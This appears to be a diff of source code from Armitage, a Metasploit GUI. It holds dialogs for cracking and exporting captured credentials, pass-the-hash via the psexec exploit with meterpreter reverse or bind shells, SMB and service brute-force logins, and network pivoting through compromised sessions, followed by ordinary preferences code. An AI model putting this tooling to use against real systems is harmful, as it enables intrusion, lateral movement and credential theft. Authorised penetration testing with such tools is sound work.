[$dialog removeAll];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
refreshCredsTable($model, $null);
|
||||||
|
}, \$model)];
|
||||||
|
|
||||||
|
$crack = [new JButton: "Crack Passwords"];
|
||||||
|
[$crack addActionListener: {
|
||||||
|
thread({
|
||||||
|
launch_dialog("Crack Passwords", "auxiliary", "analyze/jtr_crack_fast", 1);
|
||||||
|
});
|
||||||
|
}];
|
||||||
|
|
||||||
|
$export = [new JButton: "Export"];
|
||||||
|
[$export addActionListener: {
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
cmd_safe("db_export -f pwdump -a creds.export", {
|
||||||
|
thread({
|
||||||
|
downloadFile("creds.export", saveFile2());
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$file');
|
||||||
|
$file = saveFile2();
|
||||||
|
$file = strrep($file, '\\', '\\\\');
|
||||||
|
cmd_safe("db_export -f pwdump -a $file", {
|
||||||
|
showError("Saved credentials");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
|
||||||
|
[$panel add: center($refresh, $crack, $export), [BorderLayout SOUTH]];
|
||||||
|
[$frame addTab: "Credentials", $panel, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub pass_the_hash {
|
||||||
|
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls');
|
||||||
|
|
||||||
|
($dialog, $table, $model) = show_hashes("Pass the Hash", 360);
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
|
||||||
|
$bottom = [new JPanel];
|
||||||
|
#[$bottom setLayout: [new GridLayout: 4, 1]];
|
||||||
|
[$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]];
|
||||||
|
|
||||||
|
$user = [new ATextField: 32];
|
||||||
|
$pass = [new ATextField: 32];
|
||||||
|
$domain = [new ATextField: 32];
|
||||||
|
[$domain setText: "WORKGROUP"];
|
||||||
|
$brute = [new JCheckBox: "Check all credentials"];
|
||||||
|
|
||||||
|
$button = [new JButton: "Launch"];
|
||||||
|
|
||||||
|
[[$table getSelectionModel] addListSelectionListener: lambda({
|
||||||
|
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
||||||
|
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
||||||
|
}, \$table, \$model, \$user, \$pass)];
|
||||||
|
|
||||||
|
$reverse = [new JCheckBox: "Use reverse connection"];
|
||||||
|
|
||||||
|
@controls = @($user, $pass, $reverse);
|
||||||
|
|
||||||
|
[$brute addActionListener: lambda({
|
||||||
|
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
||||||
|
}, \$brute, \@controls)];
|
||||||
|
|
||||||
|
[$bottom add: label_for("User", 75, $user)];
|
||||||
|
[$bottom add: label_for("Pass", 75, $pass)];
|
||||||
|
[$bottom add: label_for("Domain", 75, $domain)];
|
||||||
|
[$bottom add: left($brute)];
|
||||||
|
[$bottom add: left($reverse)];
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('$u $p %options $host');
|
||||||
|
%options["SMBDomain"] = [$domain getText];
|
||||||
|
%options['RPORT'] = "445";
|
||||||
|
|
||||||
|
if ([$brute isSelected]) {
|
||||||
|
%options["RHOSTS"] = join(", ", $hosts);
|
||||||
|
%options["BLANK_PASSWORDS"] = "false";
|
||||||
|
%options["USER_AS_PASS"] = "false";
|
||||||
|
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]), "smb_hash");
|
||||||
|
elog("brute force smb @ " . %options["RHOSTS"]);
|
||||||
|
launchBruteForce("auxiliary", "scanner/smb/smb_login", %options, "brute smb");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%options["SMBUser"] = [$user getText];
|
||||||
|
%options["SMBPass"] = [$pass getText];
|
||||||
|
%options["LPORT"] = randomPort();
|
||||||
|
|
||||||
|
foreach $host ($hosts) {
|
||||||
|
if ([$reverse isSelected]) {
|
||||||
|
%options["LHOST"] = $MY_ADDRESS;
|
||||||
|
%options["PAYLOAD"] = "windows/meterpreter/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if (isIPv6($host)) {
|
||||||
|
%options["PAYLOAD"] = "windows/meterpreter/bind_ipv6_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%options["PAYLOAD"] = "windows/meterpreter/bind_tcp";
|
||||||
|
}
|
||||||
|
%options["RHOST"] = $host;
|
||||||
|
module_execute("exploit", "windows/smb/psexec", copy(%options));
|
||||||
|
}
|
||||||
|
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
|
||||||
|
}
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
|
||||||
|
|
||||||
|
$b2 = [new JPanel];
|
||||||
|
[$b2 setLayout: [new BorderLayout]];
|
||||||
|
[$b2 add: $bottom, [BorderLayout NORTH]];
|
||||||
|
[$b2 add: center($button), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$dialog add: $b2, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
sub show_login_dialog {
|
||||||
|
local('$port $srvc');
|
||||||
|
($port, $srvc) = values($service, @("port", "name"));
|
||||||
|
|
||||||
|
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls $scroll');
|
||||||
|
|
||||||
|
($dialog, $table, $model) = show_hashes("login", 320);
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
|
||||||
|
$bottom = [new JPanel];
|
||||||
|
[$bottom setLayout: [new GridLayout: 3, 1]];
|
||||||
|
|
||||||
|
$user = [new ATextField: 32];
|
||||||
|
$pass = [new ATextField: 32];
|
||||||
|
$brute = [new JCheckBox: "Check all credentials"];
|
||||||
|
@controls = @($user, $pass);
|
||||||
|
|
||||||
|
$button = [new JButton: "Launch"];
|
||||||
|
|
||||||
|
[[$table getSelectionModel] addListSelectionListener: lambda({
|
||||||
|
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
||||||
|
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
||||||
|
}, \$table, \$model, \$user, \$pass)];
|
||||||
|
|
||||||
|
[$bottom add: label_for("User", 75, $user)];
|
||||||
|
[$bottom add: label_for("Pass", 75, $pass)];
|
||||||
|
[$bottom add: $brute];
|
||||||
|
|
||||||
|
[$brute addActionListener: lambda({
|
||||||
|
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
||||||
|
}, \$brute, \@controls)];
|
||||||
|
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('$u $p %options $host');
|
||||||
|
%options["RHOSTS"] = join(', ', $hosts);
|
||||||
|
%options["RPORT"] = $port;
|
||||||
|
if ([$brute isSelected]) {
|
||||||
|
%options["BLANK_PASSWORDS"] = "false";
|
||||||
|
%options["USER_AS_PASS"] = "false";
|
||||||
|
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]));
|
||||||
|
elog("brute force $srvc @ " . %options["RHOSTS"]);
|
||||||
|
launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options, "brute $srvc");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%options["USERNAME"] = [$user getText];
|
||||||
|
%options["PASSWORD"] = [$pass getText];
|
||||||
|
%options["BLANK_PASSWORDS"] = "false";
|
||||||
|
%options["USER_AS_PASS"] = "false";
|
||||||
|
warn("$srvc $+ : $port => " . %options);
|
||||||
|
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
|
||||||
|
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
||||||
|
}
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
|
||||||
|
|
||||||
|
$b2 = [new JPanel];
|
||||||
|
[$b2 setLayout: [new BorderLayout]];
|
||||||
|
[$b2 add: $bottom, [BorderLayout NORTH]];
|
||||||
|
[$b2 add: center($button), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
$scroll = [new JScrollPane: $table];
|
||||||
|
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
||||||
|
[$dialog add: $scroll, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: $b2, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$dialog pack];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createUserPassFile {
|
||||||
|
local('$handle $user $pass $type $row $2');
|
||||||
|
$handle = openf(">userpass.txt");
|
||||||
|
foreach $row ($1) {
|
||||||
|
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
||||||
|
if ($type eq "password" || $type eq $2) {
|
||||||
|
println($handle, "$user $pass");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
println($handle, "$user");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
local('$file');
|
||||||
|
$file = uploadFile("userpass.txt");
|
||||||
|
deleteOnExit("userpass.txt");
|
||||||
|
return $file;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return getFileProper("userpass.txt");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
||||||
|
sub launchBruteForce {
|
||||||
|
thread(lambda({
|
||||||
|
local('$console $key $value');
|
||||||
|
$console = createDisplayTab("$title", $host => "all", $file => "brute_login");
|
||||||
|
[$console addCommand: $null, "use $type $+ / $+ $module"];
|
||||||
|
foreach $key => $value ($options) {
|
||||||
|
$value = strrep($value, '\\', '\\\\');
|
||||||
|
[$console addCommand: $null, "set $key $value"];
|
||||||
|
}
|
||||||
|
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
|
||||||
|
[$console addCommand: $null, "run -j"];
|
||||||
|
[$console start];
|
||||||
|
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
||||||
|
}
|
|
@ -0,0 +1,178 @@
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import graph.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub maskToCIDR {
|
||||||
|
local ('$x');
|
||||||
|
$x = strlen(strrep(formatNumber([Route ipToLong: $1], 10, 2), "0", ""));
|
||||||
|
return $x;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub arp_scan_function {
|
||||||
|
local('$host $mask');
|
||||||
|
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||||
|
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||||
|
|
||||||
|
if ($host ne "" && $mask ne "") {
|
||||||
|
elog("ARP scan: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
||||||
|
module_execute("post", "windows/gather/arp_scanner", %(THREADS => 24, SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
||||||
|
}
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ping_sweep_function {
|
||||||
|
local('$host $mask');
|
||||||
|
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||||
|
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||||
|
|
||||||
|
if ($host ne "" && $mask ne "") {
|
||||||
|
elog("ping sweep: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
||||||
|
module_execute("post", "multi/gather/ping_sweep", %(SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
||||||
|
}
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub add_pivot_function {
|
||||||
|
local('$host $mask');
|
||||||
|
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||||
|
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||||
|
|
||||||
|
if ($host ne "" && $mask ne "") {
|
||||||
|
elog("added pivot: $host $mask $sid", sessionToHost($sid));
|
||||||
|
cmd_safe("route add $host $mask $sid", {
|
||||||
|
if ($3 ne "") { showError($3); }
|
||||||
|
});
|
||||||
|
}
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# pop up a dialog to start our attack with... fun fun fun
|
||||||
|
#
|
||||||
|
|
||||||
|
# pivot_dialog($sid, $network output?))
|
||||||
|
sub pivot_dialog {
|
||||||
|
if ($0 eq "end") {
|
||||||
|
local('$data $platform');
|
||||||
|
$data = sessionData($1);
|
||||||
|
if ($data && 'platform' in $data) {
|
||||||
|
$platform = $data['platform'];
|
||||||
|
}
|
||||||
|
|
||||||
|
# parse through the routing table...
|
||||||
|
local('@tempr $entry $host $mask $gateway @routes');
|
||||||
|
@tempr = parseTextTable($2, @('Subnet', 'Netmask', 'Gateway', 'Metric', 'Interface'));
|
||||||
|
foreach $entry (@tempr) {
|
||||||
|
($host, $mask, $gateway) = values($entry, @('Subnet', 'Netmask', 'Gateway'));
|
||||||
|
|
||||||
|
if ($host ne "127.0.0.1" && $host ne "127.0.0.0" && $host ne "224.0.0.0" && $host ne "0.0.0.0" && $mask ne "255.255.255.255") {
|
||||||
|
# work around a Metasploit bug that returns the host IP/mask rather than the actual route info
|
||||||
|
# for Java meterpreter...
|
||||||
|
if ($platform eq "java/java") {
|
||||||
|
local('$a $b $c $d');
|
||||||
|
($a, $b, $c, $d) = split('\\.', $host);
|
||||||
|
|
||||||
|
if ($mask eq "255.255.255.0") {
|
||||||
|
$host = "$a $+ . $+ $b $+ . $+ $c $+ .0";
|
||||||
|
}
|
||||||
|
else if ($mask eq "255.255.0.0") {
|
||||||
|
$host = "$a $+ . $+ $b $+ .0.0";
|
||||||
|
}
|
||||||
|
else if ($mask eq "255.0.0.0") {
|
||||||
|
$host = "$a $+ .0.0.0";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
push(@routes, %(host => $host, mask => $mask, gateway => $gateway));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# ok, let's close down this handler...
|
||||||
|
$platform = $null;
|
||||||
|
$handler = $null;
|
||||||
|
%handlers["route"] = $null;
|
||||||
|
|
||||||
|
if (size(@routes) == 0) {
|
||||||
|
# eventually, we're going to need to parse IPv6 stuff...
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$dialog $model $table $sorter $center $a $route $button');
|
||||||
|
$dialog = [new JDialog: $frame, $title, 0];
|
||||||
|
[$dialog setSize: 320, 240];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
[$dialog setLocationRelativeTo: $frame];
|
||||||
|
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("host", "mask"), "Option", 8];
|
||||||
|
foreach $route (@routes) {
|
||||||
|
[$model _addEntry: $route];
|
||||||
|
}
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
if (size(@routes) > 0) {
|
||||||
|
[[$table getSelectionModel] addSelectionInterval: 0, 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
$center = [new JScrollPane: $table];
|
||||||
|
|
||||||
|
$a = [new JPanel];
|
||||||
|
[$a setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||||
|
|
||||||
|
$button = [new JButton: $label];
|
||||||
|
[$button addActionListener: lambda($function, \$table, \$model, \$dialog, \$sid)];
|
||||||
|
|
||||||
|
[$a add: $button];
|
||||||
|
|
||||||
|
[$dialog add: $center, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: $a, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$button requestFocus];
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setupPivotDialog {
|
||||||
|
return lambda({
|
||||||
|
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Add Pivot", $label => "Add Pivot", $function => &add_pivot_function);
|
||||||
|
m_cmd($sid, "route");
|
||||||
|
}, $sid => "$1");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setupArpScanDialog {
|
||||||
|
return lambda({
|
||||||
|
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "ARP Scan", $label => "ARP Scan", $function => &arp_scan_function);
|
||||||
|
m_cmd($sid, "route");
|
||||||
|
}, $sid => "$1");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setupPingSweepDialog {
|
||||||
|
return lambda({
|
||||||
|
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Ping Sweep", $label => "Ping Sweep", $function => &ping_sweep_function);
|
||||||
|
m_cmd($sid, "route");
|
||||||
|
}, $sid => "$1");
|
||||||
|
}
|
||||||
|
|
||||||
|
# killPivots(sid, session data
|
||||||
|
sub killPivots {
|
||||||
|
local('$route');
|
||||||
|
foreach $route (split(',', $2['routes'])) {
|
||||||
|
cmd_safe("route remove " . strrep($route, '/', ' ') . " $1");
|
||||||
|
}
|
||||||
|
|
||||||
|
elog("removed pivot: " . $2['routes']);
|
||||||
|
}
|
|
@ -0,0 +1,374 @@
|
||||||
|
#
|
||||||
|
# Preferences
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import msf.DatabaseImpl;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('$preferences $debug $motd $DATA_DIRECTORY $BASE_DIRECTORY $TITLE $CLIENT_CONFIG');
|
||||||
|
|
||||||
|
sub iHateYaml {
|
||||||
|
local('$handle %result $current $text $key $value');
|
||||||
|
$handle = openf($1);
|
||||||
|
$current = "default";
|
||||||
|
while $text (readln($handle)) {
|
||||||
|
if ($text ismatch '(\w+):') {
|
||||||
|
$current = matched()[0];
|
||||||
|
}
|
||||||
|
else if ($text ismatch '\s+([\w\\.]+): [\'"]{0,1}([\w\\.]+)[\'"]{0,1}') {
|
||||||
|
($key, $value) = matched();
|
||||||
|
%result[$current][$key] = $value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return %result;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub parseYaml {
|
||||||
|
# all heil the Yaml file... holder of the database info.
|
||||||
|
|
||||||
|
local('$database $user $pass $host $port $driver $object $file $setting');
|
||||||
|
($file, $setting) = $2;
|
||||||
|
try {
|
||||||
|
$object = iHateYaml($file);
|
||||||
|
$object = $object[$setting];
|
||||||
|
|
||||||
|
if ($object !is $null) {
|
||||||
|
($user, $pass, $database, $driver, $host, $port) = values($object, @("username", "password", "database", "adapter", "host", "port"));
|
||||||
|
|
||||||
|
[$1 setProperty: "connect.db_connect.string", "$user $+ :\" $+ $pass $+ \"@ $+ $host $+ : $+ $port $+ / $+ $database"];
|
||||||
|
[$1 setProperty: "connect.db_driver.string", $driver];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
showError("Couldn't load yaml file: $file $+ \n $+ $exception");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub loadPreferences {
|
||||||
|
local('$file $prefs');
|
||||||
|
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||||
|
$prefs = [new Properties];
|
||||||
|
if (-exists $file) {
|
||||||
|
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$prefs load: resource("resources/armitage.prop")];
|
||||||
|
}
|
||||||
|
|
||||||
|
# parse command line options here.
|
||||||
|
|
||||||
|
global('$yaml_file $yaml_entry');
|
||||||
|
local('%env');
|
||||||
|
$yaml_entry = "production";
|
||||||
|
|
||||||
|
%env = convertAll([System getenv]);
|
||||||
|
if ("MSF_DATABASE_CONFIG" in %env) {
|
||||||
|
$yaml_file = %env["MSF_DATABASE_CONFIG"];
|
||||||
|
}
|
||||||
|
|
||||||
|
while (size(@ARGV) > 0) {
|
||||||
|
if (@ARGV[0] eq "-y" && -exists @ARGV[1]) {
|
||||||
|
$yaml_file = @ARGV[1];
|
||||||
|
@ARGV = sublist(@ARGV, 2);
|
||||||
|
}
|
||||||
|
else if (@ARGV[0] eq "-e") {
|
||||||
|
$yaml_entry = @ARGV[1];
|
||||||
|
@ARGV = sublist(@ARGV, 2);
|
||||||
|
}
|
||||||
|
else if (@ARGV[0] eq "--motd" || @ARGV[0] eq "-m") {
|
||||||
|
$motd = @ARGV[1];
|
||||||
|
@ARGV = sublist(@ARGV, 2);
|
||||||
|
if (!-exists $motd) {
|
||||||
|
warn("$motd file does not exist. Clients will not see MOTD.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (@ARGV[0] eq "--server") {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (@ARGV[0] eq "--client") {
|
||||||
|
$CLIENT_CONFIG = @ARGV[1];
|
||||||
|
@ARGV = sublist(@ARGV, 2);
|
||||||
|
if (!-exists $CLIENT_CONFIG) {
|
||||||
|
warn("$CLIENT_CONFIG file does not exist. Will show something else.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
showError("I don't understand these arguments:\n" . join("\n", @ARGV));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$TITLE = [$prefs getProperty: "armitage.application_title.string", "Armitage"];
|
||||||
|
return $prefs;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub loadDatabasePreferences {
|
||||||
|
if ($yaml_file eq "" || !-exists $yaml_file) {
|
||||||
|
$yaml_file = getFileProper($BASE_DIRECTORY, "config", "database.yml");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!-exists $yaml_file) {
|
||||||
|
throw [new RuntimeException: "I can not find a database.yml file. I *really* need it.\nTry setting MSF_DATABASE_CONFIG to a file that exists."];
|
||||||
|
}
|
||||||
|
else if (!-canread $yaml_file) {
|
||||||
|
throw [new RuntimeException: "I do not have permission to read: $yaml_file $+ .\nRun me as root please."];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
parseYaml($1, @($yaml_file, $yaml_entry));
|
||||||
|
}
|
||||||
|
return [$1 getProperty: "connect.db_connect.string"];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub savePreferences {
|
||||||
|
local('$file');
|
||||||
|
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||||
|
if (-exists getFileParent($file)) {
|
||||||
|
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$preferences = loadPreferences();
|
||||||
|
|
||||||
|
sub makePrefModel {
|
||||||
|
local('$model');
|
||||||
|
$model = [new GenericTableModel: @("component", "name", "type", "value"), "name", 32];
|
||||||
|
return updatePrefModel($model);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub updatePrefModel {
|
||||||
|
local('$key $value $component $name $type $model');
|
||||||
|
$model = $1;
|
||||||
|
[$model setCellEditable: 3];
|
||||||
|
|
||||||
|
foreach $key => $value (convertAll($preferences)) {
|
||||||
|
($component, $name, $type) = split('\\.', $key);
|
||||||
|
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
|
||||||
|
$type = "$type \u271A";
|
||||||
|
}
|
||||||
|
|
||||||
|
[$model addEntry: %(component => $component, name => $name, type => $type, value => $value, key => "$key")];
|
||||||
|
}
|
||||||
|
return $model;
|
||||||
|
}
|
||||||
|
|
||||||
|
# $select = [new JComboBox: @("Font", "Monospaced", "Courier New", "Courier")];
|
||||||
|
# $style = [new JComboBox: @("Style", "Bold", "Italic", "Bold/Italic")];
|
||||||
|
# $size = [new JComboBox: @("Size")];
|
||||||
|
|
||||||
|
sub selectListener {
|
||||||
|
local('$f_font $f_style $f_size $describe');
|
||||||
|
$f_font = [$select getSelectedItem];
|
||||||
|
$f_style = strrep(uc([$style getSelectedItem]), ' + ', '');
|
||||||
|
$f_size = [$size getSelectedItem];
|
||||||
|
|
||||||
|
$describe = "$f_font $+ - $+ $f_style $+ - $+ $f_size";
|
||||||
|
[$preview setFont: [Font decode: $describe]];
|
||||||
|
[$dialog pack];
|
||||||
|
return $describe;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createPreferencesTab {
|
||||||
|
local('$table $model $panel $sorter $model $l');
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$model = makePrefModel();
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
# allow only one row to be selected at a time.
|
||||||
|
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||||
|
local('$sel $type $color $row $value');
|
||||||
|
$sel = [$model getSelectedValue: $table];
|
||||||
|
$type = [$model getSelectedValueFromColumn: $table, "type"];
|
||||||
|
$row = [$model getSelectedRow: $table];
|
||||||
|
$value = [$model getSelectedValueFromColumn: $table, "value"];
|
||||||
|
|
||||||
|
# strip the last two characters off.
|
||||||
|
$type = substr($type, 0, -2);
|
||||||
|
|
||||||
|
if ($type eq "color") {
|
||||||
|
$color = [JColorChooser showDialog: $table, "pick a color", [Color decode: iff($value eq "", "#000000", $value)]];
|
||||||
|
|
||||||
|
if ($color !is $null) {
|
||||||
|
[$model setValueAtRow: $row, "value", '#' . substr(formatNumber(uint([$color getRGB]), 10, 16), 2)];
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($type eq "folder") {
|
||||||
|
local('$file');
|
||||||
|
$file = chooseFile($dirsonly => 1);
|
||||||
|
if ($file !is $null) {
|
||||||
|
[$model setValueAtRow: $row, "value", $file];
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($type eq "font") {
|
||||||
|
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
|
||||||
|
$dialog = dialog("Choose a font", 640, 240);
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$font = [Font decode: $value];
|
||||||
|
|
||||||
|
$graphics = [GraphicsEnvironment getLocalGraphicsEnvironment];
|
||||||
|
|
||||||
|
# style..
|
||||||
|
if ([$font isItalic] && [$font isBold]) { $_style = "Bold + Italic"; }
|
||||||
|
else if ([$font isItalic]) { $_style = "Italic"; }
|
||||||
|
else if ([$font isBold]) { $_style = "Bold"; }
|
||||||
|
else { $_style = "Plain"; }
|
||||||
|
|
||||||
|
$select = select([$graphics getAvailableFontFamilyNames], [$font getFamily]);
|
||||||
|
$style = select(@("Plain", "Bold", "Italic", "Bold + Italic"), $_style);
|
||||||
|
$size = select(@(5, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 23, 26, 30, 33, 38), [$font getSize] . "");
|
||||||
|
|
||||||
|
$preview = [new JLabel: "nEWBS gET p0WNED by km-r4d h4x0rz"];
|
||||||
|
|
||||||
|
$l = lambda(&selectListener, \$select, \$style, \$size, \$preview, \$dialog);
|
||||||
|
map(lambda({ [$1 addItemListener: $l]; }, \$l), @($select, $style, $size));
|
||||||
|
[$l];
|
||||||
|
|
||||||
|
$ok = [new JButton: "Ok"];
|
||||||
|
[$ok addActionListener: lambda({
|
||||||
|
local('$font');
|
||||||
|
[$model setValueAtRow: $row, "value", [$l]];
|
||||||
|
[$model fireListeners];
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$model, \$row, \$l)];
|
||||||
|
|
||||||
|
$cancel = [new JButton: "Cancel"];
|
||||||
|
[$cancel addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||||
|
|
||||||
|
[$dialog add: center($select, $style, $size), [BorderLayout NORTH]];
|
||||||
|
[$dialog add: center($preview)];
|
||||||
|
[$dialog add: center($ok, $cancel), [BorderLayout SOUTH]];
|
||||||
|
[$dialog pack];
|
||||||
|
